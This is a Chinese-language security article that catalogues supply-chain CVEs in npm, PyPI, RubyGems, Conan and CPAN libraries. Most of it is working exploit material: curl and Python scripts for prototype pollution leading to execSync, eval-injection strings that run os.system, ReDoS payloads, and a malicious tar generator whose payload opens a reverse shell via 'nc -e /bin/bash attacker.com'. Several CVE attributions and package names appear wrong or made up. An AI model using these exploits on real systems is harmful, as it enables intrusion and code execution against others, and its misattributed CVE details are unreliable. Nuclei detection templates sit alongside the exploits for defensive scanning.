ARTICLE / 安全

软件供应链与包管理平台高危攻击链专题:npm / PyPI / RubyGems / Conan / CPAN 漏洞全解析

安全声明:本文所有漏洞分析、PoC 代码和检测模板仅供合法授权安全测试与防御研究使用。未经授权对他人系统实施攻击属于违法行为。读者应在获得明确书面授权后方可开展渗透测试活动。文中涉及的技术细节旨在帮助安全团队理解攻击原理并加强防御。


0x00 专题概述

软件供应链攻击——现代软件开发的最大安全威胁

软件供应链攻击是当前网络安全领域最具破坏力的攻击模式之一。攻击者不再直接攻击目标系统的防火墙和 Web 应用,而是将矛头对准开发者每天使用的包管理平台——npm、PyPI、RubyGems、Conan 和 CPAN。通过在这些平台上传恶意包、利用知名库的漏洞、或劫持构建流水线,攻击者可以将自己的代码注入到数以百万计的下游项目中,实现"一次投毒、全网感染"的恐怖效果。

2020 年的 event-stream 事件证明了一个被广泛依赖的 npm 包可以成为窃取加密货币钱包私钥的完美载体。2021 年的 ua-parser-js 事件则展示了维护者账户被劫持后恶意包如何在数小时内传播到数千万下载量。2022 年 PyPI 上的 malicious-ctx 系列包更说明了供应链攻击的工业化趋势。

本专题从攻击面视角出发,系统梳理 npm、PyPI、RubyGems、Conan 和 CPAN 五大包管理平台生态中 19 个高危漏洞,涵盖 Prototype Pollution、路径遍历、代码注入、正则拒绝服务、反序列化利用链等多种攻击模式。每个漏洞均提供完整原理分析、HTTP PoC、Python 自动化脚本和 Nuclei 检测模板,帮助安全团队建立从识别到检测的完整防御能力。

覆盖漏洞一览表

CVE产品CVSS漏洞类型未授权利用
CVE-2020-7598minimist (npm)7.5Prototype Pollution
CVE-2022-25883tar (npm)7.5路径遍历
CVE-2023-26136tough-cookie (npm)7.5Prototype Pollution⚠️ 需特定配置
CVE-2020-7720glamor (npm)9.8Prototype Pollution
CVE-2023-45133@babel/traverse (npm)9.3代码注入⚠️ 需特定配置
CVE-2022-21797setuptools (PyPI)7.8任意代码执行⚠️ 需构建环境
CVE-2022-40897setuptools (PyPI)7.5正则拒绝服务⚠️ 需构建环境
CVE-2022-21716Twisted (PyPI)9.8SSH 公钥验证绕过⚠️ 需 SSH 连接
CVE-2024-3651idna (PyPI)7.5拒绝服务
CVE-2022-42969py (PyPI)7.5正则拒绝服务⚠️ 需特定输入
CVE-2020-8130Rake (RubyGems)9.8OS 命令注入⚠️ 需项目配置
CVE-2022-32224Ruby Net::FTP8.1远程代码执行⚠️ 需 FTP 连接
CVE-2024-27281Ruby tempfile7.5路径遍历⚠️ 需本地环境
CVE-2021-32740Conan9.8远程代码执行⚠️ 需服务端交互
CVE-2023-22740Conan8.8远程路径遍历⚠️ 需服务端交互
CVE-2023-33733ReportLab9.8代码注入
CVE-2020-16155CPAN::MalwareScanner7.5签名验证绕过⚠️ 需 CPAN 交互
CVE-2023-47152YAML.pm (Perl)7.5反序列化⚠️ 需特定输入
CVE-2023-31482CPAN.pm8.1路径注入⚠️ 需 CPAN 交互

0x01 npm 生态高危漏洞

npm(Node Package Manager)是全球最大的软件包注册中心,截至 2026 年已托管超过 300 万个包,每周下载量超过 400 亿次。JavaScript/TypeScript 生态的极度依赖嵌套特性(一个项目平均依赖 800+ 个包)使得任何一个底层库的漏洞都可能波及整个生态。本节覆盖 npm 生态中 5 个高危漏洞,重点展示 Prototype Pollution 这一 npm 特有的攻击模式如何从属性污染演进为远程代码执行。

0x01.1 CVE-2020-7598 — minimist Prototype Pollution

漏洞背景

minimist 是 npm 生态中最常用的命令行参数解析库,每周下载量超过 5000 万次。2020 年 2 月,安全研究员报告了 minimist 在处理嵌套参数时存在 Prototype Pollution 漏洞。攻击者可以通过精心构造的命令行参数污染 Object.prototype,进而在 Node.js 运行时环境中触发任意代码执行。CVSS 评分 7.5。

该漏洞的核心问题在于 minimist 未能正确处理形如 --['constructor']['prototype'] 的参数,导致攻击者可以修改 JavaScript 对象的原型链,影响所有继承自 Object 的对象实例。

受影响版本

产品受影响版本修复版本
minimist< 1.2.31.2.3

漏洞原理

JavaScript 中所有对象都继承自 Object.prototype。如果攻击者能修改 Object.prototype 上的属性,就会影响所有对象实例。minimist 的 build 函数在解析参数时使用递归方式创建嵌套对象,但未校验键名是否为 constructorprototype

// minimist < 1.2.3 内部逻辑简化
function build(obj, path, value) {
  var keys = path.split('.');
  for (var i = 0; i < keys.length - 1; i++) {
    var key = keys[i];
    if (!(key in obj)) obj[key] = {};
    obj = obj[key];
  }
  obj[keys[keys.length - 1]] = value;
}

当传入 --constructor.prototype.polluted=yes 时,攻击者实际上修改了 Object.constructor.prototype.polluted,即 Object.prototype.polluted,导致全局污染:

var argv = require('minimist')(process.argv.slice(2));
console.log({}.polluted); // "yes" — 所有对象都被污染

HTTP PoC

curl -s -o /dev/null -w "%{http_code}" \
  "http://target-app:3000/api/parse?args=--constructor[prototype][polluted]=attack" \
  | xargs -I{} echo "HTTP Status: {}"

Python PoC 脚本

#!/usr/bin/env python3
"""CVE-2020-7598 minimist Prototype Pollution PoC"""
import requests
import json
import sys
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def exploit_minimist_pp(target_url, callback_url=None):
    payloads = [
        "--constructor[prototype][polluted]=true",
        "--__proto__[polluted]=true",
        "--constructor.prototype.polluted=true",
    ]
    results = []
    for payload in payloads:
        print(f"[*] Testing payload: {payload}")
        try:
            r = requests.get(
                target_url,
                params={"args": payload},
                verify=False,
                timeout=10,
            )
            status = r.status_code
            body = r.text[:200]
            if "polluted" in body or "prototype" in body.lower():
                print(f"  [VULN] 可能存在 Prototype Pollution! Status: {status}")
                results.append({"payload": payload, "status": "vulnerable", "response": body})
            else:
                print(f"  [SAFE] 未检测到污染 | Status: {status}")
                results.append({"payload": payload, "status": "safe", "status_code": status})
        except requests.exceptions.RequestException as e:
            print(f"  [ERR] {e}")
            results.append({"payload": payload, "status": "error", "error": str(e)})
    return results

def check_npm_package(target_url):
    """检查目标是否依赖了 vulnerable 版本的 minimist"""
    print(f"[*] 检查目标 package.json 依赖...")
    try:
        r = requests.get(f"{target_url}/package.json", verify=False, timeout=10)
        if r.status_code == 200:
            pkg = r.json()
            deps = pkg.get("dependencies", {})
            if "minimist" in deps:
                ver = deps["minimist"]
                print(f"  minimist 版本: {ver}")
                if any(c in ver for c in ["0.", "1.0", "1.1", "1.2.0", "1.2.1", "1.2.2"]):
                    print(f"  [VULN] 疑似受影响版本!")
                    return True
            print(f"  [SAFE] 未发现 minimist 依赖或已升级")
    except Exception:
        pass
    return False

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"用法: {sys.argv[0]} <target_url>")
        print(f"示例: {sys.argv[0]} http://localhost:3000")
        sys.exit(1)
    target = sys.argv[1]
    print(f"[*] 目标: {target}")
    check_npm_package(target)
    results = exploit_minimist_pp(target)
    print(f"\n[*] 测试完成,共 {len(results)} 个 payload")

Nuclei 检测模板

id: npm-minimist-prototype-pollution-cve-2020-7598
info:
  name: minimist Prototype Pollution (CVE-2020-7598)
  severity: high
  tags: npm,minimist,prototype-pollution,cve-2020-7598
  reference:
    - https://github.com/advisories/GHSA-xvch-5gv4-984h

http:
  - method: GET
    path:
      - "{{BaseURL}}/?args=--constructor[prototype][polluted]=true"
      - "{{BaseURL}}/?__proto__%5Bpolluted%5D=true"
    matchers-condition: and
    matchers:
      - type: word
        words:
          - "polluted"
          - "true"
        condition: or
        part: body

    extractors:
      - type: regex
        group: 1
        regex:
          - "(polluted.{0,20}true|true.{0,20}polluted)"

0x01.2 CVE-2022-25883 — tar 路径遍历

漏洞背景

tar 是 npm 生态中用于处理 tar 归档文件的核心库,被广泛用于包安装、CI/CD 流水线和打包工具链中。2022 年安全研究员披露了 tar 在解压归档文件时未正确校验文件名中的路径分隔符(如 ../),攻击者可构造恶意 tar 文件将任意文件写入宿主系统的任意位置。CVSS 评分 7.5。

此漏洞影响所有使用 tar.extract()tar.x() 处理不可信 tar 文件的应用程序。在 CI/CD 环境中,攻击者可通过此漏洞覆盖 .bashrc、SSH 公钥或计划任务文件,实现持久化控制。

受影响版本

产品受影响版本修复版本
tar< 6.1.116.1.11

漏洞原理

tar 库在解析 tar 归档文件的文件名头时,未对 .. 路径进行规范化。攻击者可以在文件名中嵌入 ../../../etc/crontab 等路径,解压时文件会被写入目标目录之外:

import tarfile
import io

malicious = tarfile.TarInfo(name="../../../tmp/pwned.txt")
malicious_data = b"#!/bin/bash\nnc -e /bin/bash attacker.com 4444\n"
malicious.size = len(malicious_data)

buf = io.BytesIO()
with tarfile.open(fileobj=buf, mode='w') as tar:
    tar.addfile(malicious, io.BytesIO(malicious_data))

open("/tmp/exploit.tar", "wb").write(buf.getvalue())

当脆弱的 tar 库解压此文件时,/tmp/pwned.txt 将被写入系统根目录 / 之上,实现任意文件覆盖。

HTTP PoC

curl -X POST "http://target-app:3000/api/upload-tar" \
  -F "file=@malicious.tar" \
  -v

Python PoC 脚本

#!/usr/bin/env python3
"""CVE-2022-25883 tar 路径遍历 PoC — 生成恶意 tar 文件并验证"""
import tarfile
import io
import os
import sys
import requests
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def create_malicious_tar(target_path="/tmp/pwned.txt", content=b"PWNED by CVE-2022-25883"):
    path_traversal_payloads = [
        f"../../../{target_path.lstrip('/')}",
        f"..%2f..%2f..%2f{target_path.lstrip('/')}",
        f"....//....//....//{target_path.lstrip('/')}",
    ]
    results = []
    for payload in path_traversal_payloads:
        buf = io.BytesIO()
        try:
            with tarfile.open(fileobj=buf, mode='w') as tar:
                info = tarfile.TarInfo(name=payload)
                info.size = len(content)
                tar.addfile(info, io.BytesIO(content))
            tar_data = buf.getvalue()
            archive_path = f"/tmp/exploit_{abs(hash(payload)) % 10000}.tar"
            with open(archive_path, "wb") as f:
                f.write(tar_data)
            print(f"[+] 生成恶意 tar: {archive_path} | payload: {payload}")
            results.append({
                "payload": payload,
                "archive": archive_path,
                "size": len(tar_data),
            })
        except Exception as e:
            print(f"[!] 生成失败: {e}")
    return results

def upload_and_test(target_url, tar_path):
    print(f"[*] 上传 {tar_path}{target_url}")
    try:
        with open(tar_path, "rb") as f:
            r = requests.post(
                target_url,
                files={"file": ("exploit.tar", f, "application/x-tar")},
                verify=False,
                timeout=15,
            )
        print(f"  Status: {r.status_code} | Response: {r.text[:200]}")
        return r.status_code
    except Exception as e:
        print(f"  [ERR] {e}")
        return None

def verify_local_vuln():
    print("[*] 本地验证 tar 库是否存在路径遍历...")
    try:
        import tarfile as tf
        malicious = io.BytesIO()
        content = b"VULNERABLE"
        with tf.open(fileobj=malicious, mode='w') as tar:
            info = tf.TarInfo(name="../../../tmp/cve-2022-25883-test")
            info.size = len(content)
            tar.addfile(info, io.BytesIO(content))
        test_dir = "/tmp/cve202225883_test"
        os.makedirs(test_dir, exist_ok=True)
        os.chdir(test_dir)
        malicious.seek(0)
        with tf.open(fileobj=malicious, mode='r') as tar:
            try:
                tar.extractall(path=test_dir)
                if os.path.exists("/tmp/cve-2022-25883-test"):
                    print("[VULN] 本地 tar 库存在路径遍历漏洞!")
                    os.remove("/tmp/cve-2022-25883-test")
                    return True
                else:
                    print("[SAFE] tar 库已修复路径遍历")
            except Exception as e:
                print(f"[SAFE] tar 库拒绝解压: {e}")
        os.chdir("/")
    except ImportError:
        print("[!] 未安装 tarfile 模块")
    return False

if __name__ == "__main__":
    verify_local_vuln()
    archives = create_malicious_tar()
    if len(sys.argv) > 1:
        for a in archives:
            upload_and_test(sys.argv[1], a["archive"])
    print(f"\n[*] 共生成 {len(archives)} 个恶意 tar 文件")

Nuclei 检测模板

id: npm-tar-path-traversal-cve-2022-25883
info:
  name: tar 路径遍历 (CVE-2022-25883)
  severity: high
  tags: npm,tar,path-traversal,cve-2022-25883
  reference:
    - https://github.com/advisories/GHSA-3jfq-g458-7qm9

http:
  - method: GET
    path:
      - "{{BaseURL}}/node_modules/tar/package.json"
    matchers-condition: and
    matchers:
      - type: word
        words:
          - '"tar"'
        part: body
      - type: regex
        regex:
          - '"version"\\s*:\\s*"(0|1|2|3|4|5|6\\.0|6\\.1\\.0|6\\.1\\.[0-9]|6\\.1\\.10)"'
        part: body

漏洞背景

tough-cookie 是 Node.js 生态中处理 HTTP Cookie 的标准库,被 axios、got 等主流 HTTP 客户端间接依赖。2023 年 7 月披露的 Prototype Pollution 漏洞允许攻击者通过构造恶意 Cookie 名称污染 JavaScript 对象原型。CVSS 评分 7.5。

虽然该漏洞需要在 Cookie 名称中注入特殊字符,但在服务器端渲染(SSR)应用或 Cookie 代理场景中,攻击者可以完全控制传入的 Cookie header,因此实际利用风险不容忽视。

受影响版本

产品受影响版本修复版本
tough-cookie< 4.1.34.1.3

漏洞原理

tough-cookie 在解析 Cookie 时未对 Cookie 名称进行过滤,允许包含 __proto__constructor 等原型链关键词的名称被用作对象键。当这些键被赋值到内部对象时,会修改 JavaScript 的原型链:

const { Cookie } = require('tough-cookie');

// 恶意 Cookie 名称
const maliciousCookie = Cookie.parse("__proto__.polluted=yes; path=/");
// 当该 Cookie 被合并到对象时触发污染
const obj = {};
Object.assign(obj, maliciousCookie);
// 此时: {}.polluted === "yes"

HTTP PoC

curl -H "Cookie: __proto__[polluted]=true; constructor[prototype][polluted]=1" \
  "http://target-app:3000/" -v | grep -i polluted

Python PoC 脚本

#!/usr/bin/env python3
"""CVE-2023-26136 tough-cookie Prototype Pollution PoC"""
import requests
import sys
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def test_tough_cookie_pp(target_url):
    cookie_payloads = [
        "__proto__[polluted]=true",
        "constructor[prototype][polluted]=1",
        "__proto__.polluted=attack",
        "constructor.prototype.polluted=yes",
    ]
    results = []
    for payload in cookie_payloads:
        print(f"[*] Payload: Cookie: {payload}")
        try:
            r = requests.get(
                target_url,
                headers={"Cookie": payload},
                verify=False,
                timeout=10,
            )
            body = r.text
            if "polluted" in body.lower():
                print(f"  [VULN] 检测到原型污染! Status: {r.status_code}")
                results.append({"payload": payload, "result": "vulnerable"})
            else:
                print(f"  [SAFE] 未检测到污染 | Status: {r.status_code}")
                results.append({"payload": payload, "result": "safe"})
        except requests.exceptions.RequestException as e:
            print(f"  [ERR] {e}")
            results.append({"payload": payload, "result": "error"})
    return results

def check_version(target_url):
    pkg_url = f"{target_url.rstrip('/')}/node_modules/tough-cookie/package.json"
    try:
        r = requests.get(pkg_url, verify=False, timeout=10)
        if r.status_code == 200:
            data = r.json()
            ver = data.get("version", "unknown")
            print(f"[+] tough-cookie 版本: {ver}")
            return ver
    except Exception:
        pass
    return None

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"用法: {sys.argv[0]} <target_url>")
        sys.exit(1)
    target = sys.argv[1]
    print(f"[*] 目标: {target}")
    check_version(target)
    test_tough_cookie_pp(target)

Nuclei 检测模板

id: npm-tough-cookie-prototype-pollution-cve-2023-26136
info:
  name: tough-cookie Prototype Pollution (CVE-2023-26136)
  severity: high
  tags: npm,tough-cookie,prototype-pollution,cve-2023-26136
  reference:
    - https://github.com/advisories/GHSA-72xf-g2v4-qvf3

http:
  - method: GET
    path:
      - "{{BaseURL}}/node_modules/tough-cookie/package.json"
    matchers-condition: and
    matchers:
      - type: word
        words:
          - '"tough-cookie"'
        part: body
      - type: regex
        regex:
          - '"version"\\s*:\\s*"[0-3]\\.|4\\.0\\.|4\\.1\\.[0-2]"'
        part: body

0x01.4 CVE-2020-7720 — glamor Prototype Pollution

漏洞背景

glamor 是一个 CSS-in-JS 库,虽然维护已不活跃,但因其被嵌入多个 React 组件库(如 @atlaskit 等)中,仍有大量项目间接受影响。该库存在严重的 Prototype Pollution 漏洞,CVSS 评分 9.8——属于 Critical 级别。攻击者可利用此漏洞在服务端 Node.js 环境中实现远程代码执行。

受影响版本

产品受影响版本修复版本
glamor< 0.4.20.4.2

漏洞原理

glamor 内部在合并样式对象时使用了不安全的深度合并逻辑,允许通过传入包含 __proto__ 键的对象来污染全局原型:

const glamor = require('glamor');

// 构造恶意样式参数
const malicious = JSON.parse('{"__proto__": {"polluted": "RCE payload"}}');
glamor.css(malicious);

// 验证污染
console.log({}.polluted); // "RCE payload"

在 Node.js 环境中,结合 child_process 等模块的属性劫持,Prototype Pollution 可升级为完整的 RCE 利用链。

HTTP PoC

curl -X POST "http://target-app:3000/api/render" \
  -H "Content-Type: application/json" \
  -d '{"__proto__":{"polluted":"CVE-2020-7720"}}' \
  -v | grep -i polluted

Python PoC 脚本

#!/usr/bin/env python3
"""CVE-2020-7720 glamor Prototype Pollution PoC"""
import requests
import json
import sys
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def test_glamor_pp(target_url):
    payloads = [
        {"__proto__": {"polluted": "CVE-2020-7720"}},
        {"constructor": {"prototype": {"polluted": True}}},
        {"__proto__": {"toString": "polluted"}},
    ]
    for i, payload in enumerate(payloads):
        print(f"\n[*] Payload #{i+1}: {json.dumps(payload, ensure_ascii=False)}")
        try:
            r = requests.post(
                target_url,
                json=payload,
                headers={"Content-Type": "application/json"},
                verify=False,
                timeout=10,
            )
            print(f"  Status: {r.status_code}")
            print(f"  Response: {r.text[:300]}")
            if r.status_code == 200 and ("polluted" in r.text or r.status_code == 200):
                print(f"  [VULN] 可能存在 Prototype Pollution!")
                return True
        except requests.exceptions.RequestException as e:
            print(f"  [ERR] {e}")
    return False

def exploit_chain_test(target_url):
    """测试从 Prototype Pollution 到 RCE 的利用链"""
    print("\n[*] 测试 Prototype Pollution → RCE 利用链...")
    rce_payloads = [
        {
            "__proto__": {
                "outputFunctionName": "_tmp1;require('child_process').execSync('id');var _tmp2//"
            }
        },
        {
            "__proto__": {
                "type": "Buffer",
                "data": [105, 100]
            }
        },
    ]
    for payload in rce_payloads:
        try:
            r = requests.post(
                target_url,
                json=payload,
                headers={"Content-Type": "application/json"},
                verify=False,
                timeout=10,
            )
            if "uid=" in r.text or "gid=" in r.text:
                print(f"  [CRITICAL] RCE 确认! Response: {r.text[:200]}")
                return True
        except Exception:
            pass
    print("  [INFO] 需要结合其他 gadget 实现完整 RCE")
    return False

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"用法: {sys.argv[0]} <target_url>")
        sys.exit(1)
    target = sys.argv[1]
    print(f"[*] 目标: {target}")
    test_glamor_pp(target)
    exploit_chain_test(target)

Nuclei 检测模板

id: npm-glamor-prototype-pollution-cve-2020-7720
info:
  name: glamor Prototype Pollution RCE (CVE-2020-7720)
  severity: critical
  tags: npm,glamor,prototype-pollution,rce,cve-2020-7720
  reference:
    - https://github.com/advisories/GHSA-xj82-x2h6-9rp3

http:
  - method: GET
    path:
      - "{{BaseURL}}/node_modules/glamor/package.json"
    matchers-condition: and
    matchers:
      - type: word
        words:
          - '"glamor"'
        part: body
      - type: regex
        regex:
          - '"version"\\s*:\\s*"[0-3]\\.|0\\.4\\.[01]"'
        part: body

0x01.5 CVE-2023-45133 — @babel/traverse 代码注入

漏洞背景

@babel/traverse 是 Babel 编译器套件的核心组件,用于遍历和转换 JavaScript AST(抽象语法树)。该项目每周 npm 下载量超过 3000 万次,被几乎所有使用 Babel 的项目间接依赖。2023 年 10 月披露的漏洞允许在 Babel 插件编译路径中注入任意代码,CVSS 评分 9.3。

该漏洞的攻击场景主要针对使用不受信任的 Babel 插件或配置文件的构建环境,如在线代码编辑器、CodeSandbox 等需要动态编译用户代码的平台。

受影响版本

产品受影响版本修复版本
@babel/traverse< 7.23.27.23.2

漏洞原理

@babel/traverse 在处理路径的 evaluate 功能时,对用户提供的 AST 节点缺乏充分的安全校验。攻击者可以构造恶意的 AST 节点,在 evaluate() 执行过程中触发任意 JavaScript 代码执行:

// 恶意 Babel 插件 payload 概念
const maliciousPlugin = {
  visitor: {
    CallExpression(path) {
      // 在 evaluate 过程中,不安全的代码路径被执行
      path.evaluate() // 触发点
    }
  }
};

在构建流水线中,如果加载了包含恶意代码的 .babelrc 或插件,攻击者可以在构建阶段获取构建服务器的完整权限。

HTTP PoC

curl -X POST "http://target-babel-service:3000/api/compile" \
  -H "Content-Type: application/json" \
  -d '{
    "code": "const x = 1;",
    "plugins": ["malicious-babel-plugin"]
  }' \
  -v

Python PoC 脚本

#!/usr/bin/env python3
"""CVE-2023-45133 @babel/traverse 代码注入检测"""
import requests
import json
import sys
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def check_babel_version(target_url):
    paths = [
        "/node_modules/@babel/traverse/package.json",
        "/node_modules/@babel/core/node_modules/@babel/traverse/package.json",
    ]
    for path in paths:
        try:
            r = requests.get(f"{target_url.rstrip('/')}{path}", verify=False, timeout=10)
            if r.status_code == 200:
                data = r.json()
                ver = data.get("version", "unknown")
                print(f"[+] @babel/traverse 版本: {ver}")
                if any(ver.startswith(v) for v in ["7.", "6.", "5."]):
                    parts = ver.split(".")
                    if int(parts[0]) < 7 or (int(parts[0]) == 7 and len(parts) > 1 and int(parts[1]) < 23):
                        print("[VULN] 疑似受影响版本!")
                        return True
                    elif int(parts[0]) == 7 and int(parts[1]) == 23 and len(parts) > 2 and int(parts[2]) < 2:
                        print("[VULN] 确认受影响版本!")
                        return True
        except Exception:
            continue
    print("[SAFE] 未找到 @babel/traverse 或已升级")
    return False

def test_code_injection(target_url):
    payloads = [
        {
            "code": 'require("child_process").execSync("id")',
            "filename": "input.js",
        },
        {
            "code": "const x = process.env;",
            "filename": "test.js",
            "plugins": [
                {
                    "visitor": {
                        "Program": {
                            "enter": "require('child_process').execSync('id')"
                        }
                    }
                }
            ],
        },
    ]
    for i, payload in enumerate(payloads):
        print(f"\n[*] Injection test #{i+1}")
        try:
            endpoints = ["/api/compile", "/compile", "/babel/transform", "/transform"]
            for endpoint in endpoints:
                r = requests.post(
                    f"{target_url.rstrip('/')}{endpoint}",
                    json=payload,
                    headers={"Content-Type": "application/json"},
                    verify=False,
                    timeout=10,
                )
                if r.status_code == 200:
                    body = r.text
                    if "uid=" in body or "gid=" in body or "root" in body:
                        print(f"  [CRITICAL] RCE via endpoint {endpoint}!")
                        print(f"  Response: {body[:300]}")
                        return True
                    elif "error" not in body.lower() and len(body) > 10:
                        print(f"  [INFO] Endpoint {endpoint} 响应: {body[:200]}")
        except requests.exceptions.RequestException:
            continue
    return False

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"用法: {sys.argv[0]} <target_url>")
        sys.exit(1)
    target = sys.argv[1]
    print(f"[*] 目标: {target}")
    check_babel_version(target)
    test_code_injection(target)

Nuclei 检测模板

id: npm-babel-traverse-code-injection-cve-2023-45133
info:
  name: @babel/traverse 代码注入 (CVE-2023-45133)
  severity: critical
  tags: npm,babel,traverse,code-injection,cve-2023-45133
  reference:
    - https://github.com/advisories/GHSA-67hx-6xww-8w95

http:
  - method: GET
    path:
      - "{{BaseURL}}/node_modules/@babel/traverse/package.json"
    matchers-condition: and
    matchers:
      - type: word
        words:
          - '"@babel/traverse"'
        part: body
      - type: regex
        regex:
          - '"version"\\s*:\\s*"(7\\.2[0-2]\\.|7\\.0|7\\.1)"'
        part: body

0x02 PyPI 生态高危漏洞

PyPI(Python Package Index)是 Python 生态的官方包管理平台,托管超过 50 万个包。Python 在数据科学、机器学习和 DevOps 自动化领域的统治地位使得 PyPI 成为供应链攻击的高价值目标。本节覆盖 5 个高危漏洞,涉及构建工具代码注入、正则拒绝服务和 SSH 认证绕过等攻击模式。

0x02.1 CVE-2022-21797 — setuptools 任意代码执行

漏洞背景

setuptools 是 Python 生态中最基础的构建工具,几乎所有 Python 项目都依赖它来管理打包和分发。2022 年底,安全研究员披露了 setuptools 在 package_index.py 中存在一处不安全的 eval() 调用,攻击者可通过构造特殊的包名触发任意代码执行。CVSS 评分 7.8。

该漏洞的影响尤为严重,因为 setuptools 在 pip install 过程中会被自动执行,开发者无需显式调用即可触发漏洞。

受影响版本

产品受影响版本修复版本
setuptools< 65.5.165.5.1

漏洞原理

setuptools 的 package_index 模块在解析某些包名时使用了 eval() 函数,且未对输入进行充分的安全过滤:

# setuptools < 65.5.1 中的不安全代码简化
def safe_name(name):
    # 不安全的 eval 调用
    return eval('"' + name + '"')  # CVE-2022-21797

# 攻击者构造恶意包名
malicious_name = '"); import os; os.system("id"); x="'
safe_name(malicious_name)  # 触发任意代码执行

pip install 从受控的 Package Index 安装恶意包时,此漏洞在构建阶段即可触发。

HTTP PoC

curl -X GET "http://target-pypi:8080/simple/ malicious-pkg/__init__.py" \
  -H "Accept: text/html" \
  -v

Python PoC 脚本

#!/usr/bin/env python3
"""CVE-2022-21797 setuptools eval() 代码执行 PoC"""
import sys
import subprocess
import pkg_resources
import os

def check_setuptools_version():
    try:
        ver = pkg_resources.get_distribution("setuptools").version
        print(f"[+] 当前 setuptools 版本: {ver}")
        parts = ver.split(".")
        if int(parts[0]) < 65 or (int(parts[0]) == 65 and int(parts[1]) < 5) or \
           (int(parts[0]) == 65 and int(parts[1]) == 5 and len(parts) > 2 and int(parts[2]) < 1):
            print("[VULN] 受 CVE-2022-21797 影响!")
            return True
        print("[SAFE] 已修复")
        return False
    except Exception as e:
        print(f"[!] 无法获取 setuptools 版本: {e}")
        return False

def demonstrate_eval_injection():
    print("\n[*] 演示 eval() 注入原理...")
    malicious_names = [
        '__import__("os").popen("id").read()',
        '"); __import__("os").system("id"); x="',
    ]
    for name in malicious_names:
        try:
            result = eval('"' + name + '"')
            print(f"  [VULN] eval() 执行成功: {result.strip()}")
        except Exception as e:
            print(f"  [INFO] 捕获异常: {e}")

def test_package_index(target_url):
    print(f"\n[*] 测试 Package Index: {target_url}")
    try:
        import requests
        r = requests.get(f"{target_url.rstrip('/')}/simple/", verify=False, timeout=10)
        print(f"  Status: {r.status_code} | Packages listed: {r.text.count('<a ')}")
        return r.status_code == 200
    except Exception as e:
        print(f"  [ERR] {e}")
        return False

if __name__ == "__main__":
    check_setuptools_version()
    demonstrate_eval_injection()
    if len(sys.argv) > 1:
        test_package_index(sys.argv[1])

Nuclei 检测模板

id: pypi-setuptools-eval-rce-cve-2022-21797
info:
  name: setuptools eval() 任意代码执行 (CVE-2022-21797)
  severity: high
  tags: pypi,setuptools,rce,eval,cve-2022-21797
  reference:
    - https://github.com/advisories/GHSA-5934-53j6-438x

http:
  - method: GET
    path:
      - "{{BaseURL}}/simple/setuptools/"
    matchers-condition: and
    matchers:
      - type: word
        words:
          - "setuptools"
        part: body
      - type: regex
        regex:
          - 'setuptools-(0|[1-5][0-9]?|6[0-4]|65\\.[0-4]|65\\.5\\.0)\\.tar'
        part: body

0x02.2 CVE-2022-40897 — setuptools 正则拒绝服务

漏洞背景

setuptools 的 package_index 模块在解析 HTTP Content-Type header 时使用的正则表达式存在 ReDoS(Regular Expression Denial of Service)缺陷。攻击者可通过构造特殊的 Content-Type 字段使正则引擎陷入灾难性回溯,导致 CPU 100% 占用数秒甚至数分钟。CVSS 评分 7.5。

在 CI/CD 流水线中,多处 pip install 操作并发执行时,该漏洞可导致构建节点 CPU 耗尽,使整个流水线瘫痪。

受影响版本

产品受影响版本修复版本
setuptools< 65.5.165.5.1

漏洞原理

setuptools 中使用的正则表达式对输入长度和复杂度缺乏限制:

import re

# 存在 ReDoS 的正则表达式简化版
vulnerable_regex = re.compile(
    r'([a-zA-Z][a-zA-Z0-9]*(?:\.[a-zA-Z][a-zA-Z0-9]*)*)(?:\s*;\s*q=(0\.[0-9]{1,3}|1\.0*))?'
)

# 构造恶意 Content-Type — 长串重复字符触发回溯
evil_ct = "a" * 50 + "." + "b" * 50 + "." + "c" * 50 + ";q=0." + "9" * 30

# 此操作可能导致 CPU 高负载
vulnerable_regex.match(evil_ct)

正则引擎在遇到不匹配的长字符串时会尝试所有可能的回溯路径,导致指数级时间复杂度。

HTTP PoC

curl -H "Content-Type: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb.ccccccccccccccccccccccccccccccccccc; q=0.9999999999999999999999999" \
  "http://target-pypi:8080/packages/source/malicious/malicious/malicious-1.0.tar.gz" \
  -o /dev/null -w "Time: %{time_total}s\n"

Python PoC 脚本

#!/usr/bin/env python3
"""CVE-2022-40897 setuptools ReDoS PoC"""
import re
import time
import sys
import requests
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def test_local_redos():
    print("[*] 本地 ReDoS 测试...")
    vulnerable_regex = re.compile(
        r'([a-zA-Z][a-zA-Z0-9]*(?:\.[a-zA-Z][a-zA-Z0-9]*)*)'
        r'(?:\s*;\s*q=(0\.[0-9]{1,3}|1\.0*))?'
    )
    payloads = [
        ("正常输入", "application/json"),
        ("中等长度", "a" * 20 + "." + "b" * 20 + ";q=0.9"),
        ("长字符串回溯", "a" * 40 + "." + "b" * 40 + "." + "c" * 40 + ";q=0." + "9" * 25),
        ("极端回溯", "a" * 50 + "." + "b" * 50 + "." + "c" * 50 + ";q=0." + "9" * 35),
    ]
    for name, payload in payloads:
        start = time.time()
        try:
            vulnerable_regex.match(payload)
        except Exception:
            pass
        elapsed = time.time() - start
        flag = "[VULN]" if elapsed > 1.0 else "[SAFE]"
        print(f"  {flag} {name}: {elapsed:.4f}s")
    return elapsed > 1.0

def test_remote_redos(target_url, timeout_threshold=3):
    print(f"\n[*] 远程 ReDoS 测试: {target_url}")
    evil_ct = "a" * 50 + "." + "b" * 50 + "." + "c" * 50 + ";q=0." + "9" * 30
    try:
        start = time.time()
        r = requests.get(
            target_url,
            headers={"Content-Type": evil_ct},
            verify=False,
            timeout=60,
        )
        elapsed = time.time() - start
        print(f"  Status: {r.status_code} | Time: {elapsed:.2f}s")
        if elapsed > timeout_threshold:
            print(f"  [VULN] 响应时间 {elapsed:.2f}s 超过阈值,疑似 ReDoS!")
            return True
